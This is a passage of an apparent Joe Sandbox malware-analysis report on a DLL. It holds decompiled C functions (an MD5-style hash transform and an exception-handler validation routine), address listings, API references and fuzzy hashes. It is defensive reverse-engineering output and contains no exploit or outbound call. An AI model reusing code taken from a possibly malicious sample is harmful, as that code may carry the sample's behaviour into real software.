                  0x02bf1da2
                  0x02bf1da4
                  0x02bf1dac
                  0x02bf1dac
                  0x02bf1db1
                  0x02bf1db3
                  0x02bf1dba
                  0x02bf1dbc
                  0x02bf1dbc
                  0x02bf1dbc
                  0x00000000
                  0x02bf1dbc
                  0x00000000
                  0x02bf1d9d
                  0x02bf1d4c
                  0x02bf1d4c
                  0x02bf1d50
                  0x00000000
                  0x00000000
                  0x02bf1d50
                  0x02bf1dd0
                  0x02bf1dd0
                  0x02bf1dd7
                  0x02bf1ddc
                  0x00000000
                  0x00000000
                  0x02bf1de2
                  0x02bf1ded
                  0x00000000
                  0x02bf1ded
                  0x02bf1de4
                  0x02bf1de4
                  0x02bf1dea
                  0x00000000
                  0x02bf1dea
                  0x02bf1d18
                  0x02bf1dee
                  0x02bf1df3

                  APIs
                  • LoadLibraryA.KERNEL32(?,?,00000000,?,?), ref: 02BF1D23
                  • GetProcAddress.KERNEL32(?,00000000), ref: 02BF1D95
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: AddressLibraryLoadProc
                  • String ID:
                  • API String ID: 2574300362-0
                  • Opcode ID: 13149d329be7c48224b0e44b4307ac5caf8bd72fe8a4d27f655da14d6529251c
                  • Instruction ID: 4f1d3e4b2fe14cbdca2e74868cc8fb3bf8b4f9368c2552031b0abedc0a1bd4e6
                  • Opcode Fuzzy Hash: 13149d329be7c48224b0e44b4307ac5caf8bd72fe8a4d27f655da14d6529251c
                  • Instruction Fuzzy Hash: A5310A7AE1020ADFDB95CF5DC880AADB7F4FF04255B1848A9DA09E7250E770DA49CB50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C516DF Relevance: 1.9, APIs: 1, Instructions: 611COMMONCrypto
                  Download Yara Rule
                  C-Code - Quality: 49%
                  			E02C516DF(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				intOrPtr* _t226;
				signed int _t229;
				signed int _t231;
				signed int _t233;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				signed int _t241;
				signed int _t243;
				signed int _t245;
				signed int _t247;
				signed int _t249;
				signed int _t251;
				signed int _t253;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t338;
				signed char* _t348;
				signed int _t349;
				signed int _t351;
				signed int _t353;
				signed int _t355;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t367;
				signed int _t376;
				signed int _t378;
				signed int _t380;
				signed int _t382;
				signed int _t384;
				intOrPtr* _t400;
				signed int* _t401;
				signed int _t402;
				signed int _t404;
				signed int _t406;
				signed int _t408;
				signed int _t410;
				signed int _t412;
				signed int _t414;
				signed int _t416;
				signed int _t418;
				signed int _t420;
				signed int _t422;
				signed int _t424;
				signed int _t432;
				signed int _t434;
				signed int _t436;
				signed int _t438;
				signed int _t440;
				signed int _t508;
				signed int _t599;
				signed int _t607;
				signed int _t613;
				signed int _t679;
				void* _t682;
				signed int _t683;
				signed int _t685;
				signed int _t690;
				signed int _t692;
				signed int _t697;
				signed int _t699;
				signed int _t718;
				signed int _t720;
				signed int _t722;
				signed int _t724;
				signed int _t726;
				signed int _t728;
				signed int _t734;
				signed int _t740;
				signed int _t742;
				signed int _t744;
				signed int _t746;
				signed int _t748;

				_t226 = _a4;
				_t348 = __ecx + 2;
				_t401 =  &_v76;
				_t682 = 0x10;
				do {
					 *_t401 = (((_t348[1] & 0x000000ff) << 0x00000008 |  *_t348 & 0x000000ff) << 0x00000008 |  *(_t348 - 1) & 0x000000ff) << 0x00000008 |  *(_t348 - 2) & 0x000000ff;
					_t401 =  &(_t401[1]);
					_t348 =  &(_t348[4]);
					_t682 = _t682 - 1;
				} while (_t682 != 0);
				_t6 = _t226 + 4; // 0x14eb3fc3
				_t683 =  *_t6;
				_t7 = _t226 + 8; // 0x8d08458b
				_t402 =  *_t7;
				_t8 = _t226 + 0xc; // 0x56c1184c
				_t349 =  *_t8;
				asm("rol eax, 0x7");
				_t229 = ( !_t683 & _t349 | _t402 & _t683) + _v76 +  *_t226 - 0x28955b88 + _t683;
				asm("rol ecx, 0xc");
				_t351 = ( !_t229 & _t402 | _t683 & _t229) + _v72 + _t349 - 0x173848aa + _t229;
				asm("ror edx, 0xf");
				_t404 = ( !_t351 & _t683 | _t351 & _t229) + _v68 + _t402 + 0x242070db + _t351;
				asm("ror esi, 0xa");
				_t685 = ( !_t404 & _t229 | _t351 & _t404) + _v64 + _t683 - 0x3e423112 + _t404;
				_v8 = _t685;
				_t690 = _v8;
				asm("rol eax, 0x7");
				_t231 = ( !_t685 & _t351 | _t404 & _v8) + _v60 + _t229 - 0xa83f051 + _t690;
				asm("rol ecx, 0xc");
				_t353 = ( !_t231 & _t404 | _t690 & _t231) + _v56 + _t351 + 0x4787c62a + _t231;
				asm("ror edx, 0xf");
				_t406 = ( !_t353 & _t690 | _t353 & _t231) + _v52 + _t404 - 0x57cfb9ed + _t353;
				asm("ror esi, 0xa");
				_t692 = ( !_t406 & _t231 | _t353 & _t406) + _v48 + _t690 - 0x2b96aff + _t406;
				_v8 = _t692;
				_t697 = _v8;
				asm("rol eax, 0x7");
				_t233 = ( !_t692 & _t353 | _t406 & _v8) + _v44 + _t231 + 0x698098d8 + _t697;
				asm("rol ecx, 0xc");
				_t355 = ( !_t233 & _t406 | _t697 & _t233) + _v40 + _t353 - 0x74bb0851 + _t233;
				asm("ror edx, 0xf");
				_t408 = ( !_t355 & _t697 | _t355 & _t233) + _v36 + _t406 - 0xa44f + _t355;
				asm("ror esi, 0xa");
				_t699 = ( !_t408 & _t233 | _t355 & _t408) + _v32 + _t697 - 0x76a32842 + _t408;
				_v8 = _t699;
				asm("rol eax, 0x7");
				_t235 = ( !_t699 & _t355 | _t408 & _v8) + _v28 + _t233 + 0x6b901122 + _v8;
				asm("rol ecx, 0xc");
				_t357 = ( !_t235 & _t408 | _v8 & _t235) + _v24 + _t355 - 0x2678e6d + _t235;
				_t508 =  !_t357;
				asm("ror edx, 0xf");
				_t410 = (_t508 & _v8 | _t357 & _t235) + _v20 + _t408 - 0x5986bc72 + _t357;
				_v12 = _t410;
				_v12 =  !_v12;
				asm("ror esi, 0xa");
				_t718 = (_v12 & _t235 | _t357 & _t410) + _v16 + _v8 + 0x49b40821 + _t410;
				asm("rol eax, 0x5");
				_t237 = (_t508 & _t410 | _t357 & _t718) + _v72 + _t235 - 0x9e1da9e + _t718;
				asm("rol ecx, 0x9");
				_t359 = (_v12 & _t718 | _t410 & _t237) + _v52 + _t357 - 0x3fbf4cc0 + _t237;
				asm("rol edx, 0xe");
				_t412 = ( !_t718 & _t237 | _t359 & _t718) + _v32 + _t410 + 0x265e5a51 + _t359;
				asm("ror esi, 0xc");
				_t720 = ( !_t237 & _t359 | _t412 & _t237) + _v76 + _t718 - 0x16493856 + _t412;
				asm("rol eax, 0x5");
				_t239 = ( !_t359 & _t412 | _t359 & _t720) + _v56 + _t237 - 0x29d0efa3 + _t720;
				asm("rol ecx, 0x9");
				_t361 = ( !_t412 & _t720 | _t412 & _t239) + _v36 + _t359 + 0x2441453 + _t239;
				asm("rol edx, 0xe");
				_t414 = ( !_t720 & _t239 | _t361 & _t720) + _v16 + _t412 - 0x275e197f + _t361;
				asm("ror esi, 0xc");
				_t722 = ( !_t239 & _t361 | _t414 & _t239) + _v60 + _t720 - 0x182c0438 + _t414;
				asm("rol eax, 0x5");
				_t241 = ( !_t361 & _t414 | _t361 & _t722) + _v40 + _t239 + 0x21e1cde6 + _t722;
				asm("rol ecx, 0x9");
				_t363 = ( !_t414 & _t722 | _t414 & _t241) + _v20 + _t361 - 0x3cc8f82a + _t241;
				asm("rol edx, 0xe");
				_t416 = ( !_t722 & _t241 | _t363 & _t722) + _v64 + _t414 - 0xb2af279 + _t363;
				asm("ror esi, 0xc");
				_t724 = ( !_t241 & _t363 | _t416 & _t241) + _v44 + _t722 + 0x455a14ed + _t416;
				asm("rol eax, 0x5");
				_t243 = ( !_t363 & _t416 | _t363 & _t724) + _v24 + _t241 - 0x561c16fb + _t724;
				asm("rol ecx, 0x9");
				_t365 = ( !_t416 & _t724 | _t416 & _t243) + _v68 + _t363 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t418 = ( !_t724 & _t243 | _t365 & _t724) + _v48 + _t416 + 0x676f02d9 + _t365;
				asm("ror esi, 0xc");
				_t726 = ( !_t243 & _t365 | _t418 & _t243) + _v28 + _t724 - 0x72d5b376 + _t418;
				asm("rol eax, 0x4");
				_t245 = (_t365 ^ _t418 ^ _t726) + _v56 + _t243 - 0x5c6be + _t726;
				asm("rol ecx, 0xb");
				_t367 = (_t418 ^ _t726 ^ _t245) + _v44 + _t365 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t420 = (_t367 ^ _t726 ^ _t245) + _v32 + _t418 + 0x6d9d6122 + _t367;
				_t599 = _t367 ^ _t420;
				asm("ror esi, 0x9");
				_t728 = (_t599 ^ _t245) + _v20 + _t726 - 0x21ac7f4 + _t420;
				asm("rol eax, 0x4");
				_t247 = (_t599 ^ _t728) + _v72 + _t245 - 0x5b4115bc + _t728;
				asm("rol edi, 0xb");
				_t607 = (_t420 ^ _t728 ^ _t247) + _v60 + _t367 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t422 = (_t607 ^ _t728 ^ _t247) + _v48 + _t420 - 0x944b4a0 + _t607;
				_t338 = _t607 ^ _t422;
				asm("ror ecx, 0x9");
				_t376 = (_t338 ^ _t247) + _v36 + _t728 - 0x41404390 + _t422;
				asm("rol eax, 0x4");
				_t249 = (_t338 ^ _t376) + _v24 + _t247 + 0x289b7ec6 + _t376;
				asm("rol esi, 0xb");
				_t734 = (_t422 ^ _t376 ^ _t249) + _v76 + _t607 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t613 = (_t734 ^ _t376 ^ _t249) + _v64 + _t422 - 0x2b10cf7b + _t734;
				_t424 = _t734 ^ _t613;
				asm("ror ecx, 0x9");
				_t378 = (_t424 ^ _t249) + _v52 + _t376 + 0x4881d05 + _t613;
				asm("rol eax, 0x4");
				_t251 = (_t424 ^ _t378) + _v40 + _t249 - 0x262b2fc7 + _t378;
				asm("rol edx, 0xb");
				_t432 = (_t613 ^ _t378 ^ _t251) + _v28 + _t734 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t740 = (_t432 ^ _t378 ^ _t251) + _v16 + _t613 + 0x1fa27cf8 + _t432;
				asm("ror ecx, 0x9");
				_t380 = (_t432 ^ _t740 ^ _t251) + _v68 + _t378 - 0x3b53a99b + _t740;
				asm("rol eax, 0x6");
				_t253 = (( !_t432 | _t380) ^ _t740) + _v76 + _t251 - 0xbd6ddbc + _t380;
				asm("rol edx, 0xa");
				_t434 = (( !_t740 | _t253) ^ _t380) + _v48 + _t432 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t742 = (( !_t380 | _t434) ^ _t253) + _v20 + _t740 - 0x546bdc59 + _t434;
				asm("ror ecx, 0xb");
				_t382 = (( !_t253 | _t742) ^ _t434) + _v56 + _t380 - 0x36c5fc7 + _t742;
				asm("rol eax, 0x6");
				_t255 = (( !_t434 | _t382) ^ _t742) + _v28 + _t253 + 0x655b59c3 + _t382;
				asm("rol edx, 0xa");
				_t436 = (( !_t742 | _t255) ^ _t382) + _v64 + _t434 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t744 = (( !_t382 | _t436) ^ _t255) + _v36 + _t742 - 0x100b83 + _t436;
				asm("ror ecx, 0xb");
				_t384 = (( !_t255 | _t744) ^ _t436) + _v72 + _t382 - 0x7a7ba22f + _t744;
				asm("rol eax, 0x6");
				_t257 = (( !_t436 | _t384) ^ _t744) + _v44 + _t255 + 0x6fa87e4f + _t384;
				asm("rol edx, 0xa");
				_t438 = (( !_t744 | _t257) ^ _t384) + _v16 + _t436 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t746 = (( !_t384 | _t438) ^ _t257) + _v52 + _t744 - 0x5cfebcec + _t438;
				asm("ror edi, 0xb");
				_t679 = (( !_t257 | _t746) ^ _t438) + _v24 + _t384 + 0x4e0811a1 + _t746;
				asm("rol eax, 0x6");
				_t259 = (( !_t438 | _t679) ^ _t746) + _v60 + _t257 - 0x8ac817e + _t679;
				asm("rol edx, 0xa");
				_t440 = (( !_t746 | _t259) ^ _t679) + _v32 + _t438 - 0x42c50dcb + _t259;
				_t400 = _a4;
				asm("rol esi, 0xf");
				_t748 = (( !_t679 | _t440) ^ _t259) + _v68 + _t746 + 0x2ad7d2bb + _t440;
				 *_t400 =  *_t400 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t400 + 4)) = (( !_t259 | _t748) ^ _t440) + _v40 + _t679 - 0x14792c6f +  *((intOrPtr*)(_t400 + 4)) + _t748;
				 *((intOrPtr*)(_t400 + 8)) =  *((intOrPtr*)(_t400 + 8)) + _t748;
				 *((intOrPtr*)(_t400 + 0xc)) =  *((intOrPtr*)(_t400 + 0xc)) + _t440;
				return memset( &_v76, 0, 0x40);
			}


































































































                  0x02c516e2
                  0x02c516ed
                  0x02c516f0
                  0x02c516f3
                  0x02c516f4
                  0x02c51712
                  0x02c51714
                  0x02c51717
                  0x02c5171a
                  0x02c5171a
                  0x02c5171d
                  0x02c5171d
                  0x02c51720
                  0x02c51720
                  0x02c51723
                  0x02c51723
                  0x02c51740
                  0x02c51743
                  0x02c51759
                  0x02c5175c
                  0x02c51776
                  0x02c51779
                  0x02c5178f
                  0x02c51792
                  0x02c51794
                  0x02c517ac
                  0x02c517af
                  0x02c517b2
                  0x02c517ca
                  0x02c517cd
                  0x02c517e7
                  0x02c517ea
                  0x02c51800
                  0x02c51803
                  0x02c51805
                  0x02c5181d
                  0x02c51822
                  0x02c51825
                  0x02c5183b
                  0x02c5183e
                  0x02c51858
                  0x02c5185b
                  0x02c51871
                  0x02c51874
                  0x02c51876
                  0x02c51891
                  0x02c51894
                  0x02c518ab
                  0x02c518ae
                  0x02c518b2
                  0x02c518cb
                  0x02c518ce
                  0x02c518d0
                  0x02c518d3
                  0x02c518ee
                  0x02c518f1
                  0x02c5190a
                  0x02c5190d
                  0x02c5191d
                  0x02c51920
                  0x02c51938
                  0x02c5193b
                  0x02c51955
                  0x02c51958
                  0x02c51970
                  0x02c51973
                  0x02c51989
                  0x02c5198c
                  0x02c519a4
                  0x02c519a7
                  0x02c519bf
                  0x02c519c2
                  0x02c519dc
                  0x02c519df
                  0x02c519f5
                  0x02c519f8
                  0x02c51a10
                  0x02c51a13
                  0x02c51a2d
                  0x02c51a30
                  0x02c51a48
                  0x02c51a4b
                  0x02c51a61
                  0x02c51a64
                  0x02c51a7c
                  0x02c51a7f
                  0x02c51a97
                  0x02c51a9a
                  0x02c51aac
                  0x02c51aaf
                  0x02c51ac1
                  0x02c51ac4
                  0x02c51ad6
                  0x02c51ad9
                  0x02c51add
                  0x02c51aed
                  0x02c51af0
                  0x02c51afe
                  0x02c51b01
                  0x02c51b13
                  0x02c51b16
                  0x02c51b2a
                  0x02c51b2d
                  0x02c51b2f
                  0x02c51b3f
                  0x02c51b42
                  0x02c51b54
                  0x02c51b57
                  0x02c51b65
                  0x02c51b68
                  0x02c51b7a
                  0x02c51b7d
                  0x02c51b81
                  0x02c51b91
                  0x02c51b94
                  0x02c51ba6
                  0x02c51ba9
                  0x02c51bb7
                  0x02c51bba
                  0x02c51bcc
                  0x02c51bcf
                  0x02c51be1
                  0x02c51be4
                  0x02c51bf8
                  0x02c51bfb
                  0x02c51c0f
                  0x02c51c12
                  0x02c51c26
                  0x02c51c29
                  0x02c51c3d
                  0x02c51c40
                  0x02c51c54
                  0x02c51c57
                  0x02c51c6b
                  0x02c51c70
                  0x02c51c82
                  0x02c51c85
                  0x02c51c99
                  0x02c51c9c
                  0x02c51cb0
                  0x02c51cb3
                  0x02c51cc9
                  0x02c51ccc
                  0x02c51ce0
                  0x02c51ce3
                  0x02c51cf5
                  0x02c51cf8
                  0x02c51d0c
                  0x02c51d0f
                  0x02c51d23
                  0x02c51d26
                  0x02c51d3a
                  0x02c51d43
                  0x02c51d46
                  0x02c51d4f
                  0x02c51d58
                  0x02c51d60
                  0x02c51d68
                  0x02c51d72
                  0x02c51d87

                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: memset
                  • String ID:
                  • API String ID: 2221118986-0
                  • Opcode ID: 731c4c0f351f3efb1da8e5c57353aa3635b345d7971c0b598f3b3c7e53c72fd3
                  • Instruction ID: 5a246d2be19223dcd74a8fb7a0db84dcaa768a3dd00473c72959584b1d8982f1
                  • Opcode Fuzzy Hash: 731c4c0f351f3efb1da8e5c57353aa3635b345d7971c0b598f3b3c7e53c72fd3
                  • Instruction Fuzzy Hash: AD22857BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C58551 Relevance: 1.7, APIs: 1, Instructions: 195nativeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C58551(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x2c5a380; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x2c5a3c8 = 1;
										__eflags =  *0x2c5a3c8;
										if( *0x2c5a3c8 != 0) {
											goto L60;
										}
										_t84 =  *0x2c5a380; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x2c5a3c8 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x2c5a380 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x2c5a388 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x2c5a384 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x2c5a388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x2c5a388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x2c5a3c8 = 1;
							__eflags =  *0x2c5a3c8;
							if( *0x2c5a3c8 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x2c5a388 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x2c5a388 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x2c5a3c8 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x2c5a388 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x2c5a380 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x2c5a388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x2c5a388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}




































                  0x02c5855b
                  0x02c5855e
                  0x02c58564
                  0x02c58582
                  0x00000000
                  0x02c58582
                  0x02c5856c
                  0x02c58575
                  0x02c5857b
                  0x02c5858a
                  0x02c5858d
                  0x02c58590
                  0x02c5859a
                  0x02c5859a
                  0x02c5859c
                  0x02c5859f
                  0x02c585a1
                  0x02c585a1
                  0x02c585a3
                  0x02c585a6
                  0x00000000
                  0x00000000
                  0x02c585a8
                  0x02c585aa
                  0x02c58610
                  0x02c58610
                  0x02c5876e
                  0x00000000
                  0x02c5876e
                  0x02c585ac
                  0x02c585ac
                  0x02c585b0
                  0x02c585b2
                  0x02c585b2
                  0x02c585b2
                  0x02c585b2
                  0x02c585b5
                  0x02c585b6
                  0x02c585b9
                  0x02c585b9
                  0x02c585bd
                  0x02c585c1
                  0x02c585cf
                  0x02c585cf
                  0x02c585d7
                  0x02c585dd
                  0x02c585df
                  0x02c585e1
                  0x02c585f1
                  0x02c585fe
                  0x02c58602
                  0x02c58607
                  0x02c58609
                  0x02c58687
                  0x02c58687
                  0x02c5860b
                  0x02c5860b
                  0x02c5860b
                  0x02c58689
                  0x02c5868b
                  0x02c5876c
                  0x02c5876c
                  0x00000000
                  0x02c58691
                  0x02c58691
                  0x02c58698
                  0x00000000
                  0x00000000
                  0x02c5869e
                  0x02c586a2
                  0x02c586fe
                  0x02c58700
                  0x02c58708
                  0x02c5870a
                  0x02c5870c
                  0x00000000
                  0x00000000
                  0x02c5870e
                  0x02c58714
                  0x02c58716
                  0x02c58718
                  0x02c5872d
                  0x02c5872d
                  0x02c5872f
                  0x02c5875e
                  0x02c58765
                  0x00000000
                  0x02c58765
                  0x02c58733
                  0x02c58734
                  0x02c58736
                  0x02c58738
                  0x02c58738
                  0x02c5873a
                  0x02c5873c
                  0x02c5873e
                  0x02c58752
                  0x02c58752
                  0x02c58755
                  0x02c58757
                  0x02c58757
                  0x02c58758
                  0x02c58758
                  0x00000000
                  0x02c58740
                  0x02c58740
                  0x02c58740
                  0x02c58749
                  0x02c5874a
                  0x02c5874c
                  0x02c5874e
                  0x02c5874e
                  0x00000000
                  0x02c58740
                  0x02c5873e
                  0x02c5871a
                  0x02c58721
                  0x02c58721
                  0x02c58723
                  0x00000000
                  0x00000000
                  0x02c58725
                  0x02c58726
                  0x02c58729
                  0x02c5872b
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c5872b
                  0x00000000
                  0x02c58721
                  0x02c586a4
                  0x02c586a7
                  0x02c586ac
                  0x00000000
                  0x00000000
                  0x02c586b5
                  0x02c586b7
                  0x02c586bd
                  0x00000000
                  0x00000000
                  0x02c586c3
                  0x02c586c9
                  0x00000000
                  0x00000000
                  0x02c586cf
                  0x02c586d1
                  0x02c586da
                  0x02c586de
                  0x00000000
                  0x00000000
                  0x02c586e4
                  0x02c586e7
                  0x02c586e9
                  0x00000000
                  0x00000000
                  0x02c586f0
                  0x02c586f2
                  0x00000000
                  0x00000000
                  0x02c586f4
                  0x02c586f8
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c586f8
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c585e3
                  0x02c585e3
                  0x02c585e3
                  0x02c585ea
                  0x00000000
                  0x00000000
                  0x02c585ec
                  0x02c585ed
                  0x02c585ef
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c585ef
                  0x02c58617
                  0x02c58619
                  0x00000000
                  0x00000000
                  0x02c58629
                  0x02c5862b
                  0x02c5862d
                  0x00000000
                  0x00000000
                  0x02c58633
                  0x02c5863a
                  0x02c58666
                  0x02c58666
                  0x02c58668
                  0x02c5866a
                  0x02c5867e
                  0x02c58680
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c5866c
                  0x02c5866c
                  0x02c5866c
                  0x02c58675
                  0x02c58676
                  0x02c58678
                  0x02c5867a
                  0x02c5867a
                  0x00000000
                  0x02c5866c
                  0x02c5863c
                  0x02c5863c
                  0x02c5863f
                  0x02c58641
                  0x02c58653
                  0x02c58653
                  0x02c58656
                  0x02c58658
                  0x02c58658
                  0x02c58659
                  0x02c58659
                  0x02c5865f
                  0x02c5865f
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c58643
                  0x02c58643
                  0x02c58643
                  0x02c5864a
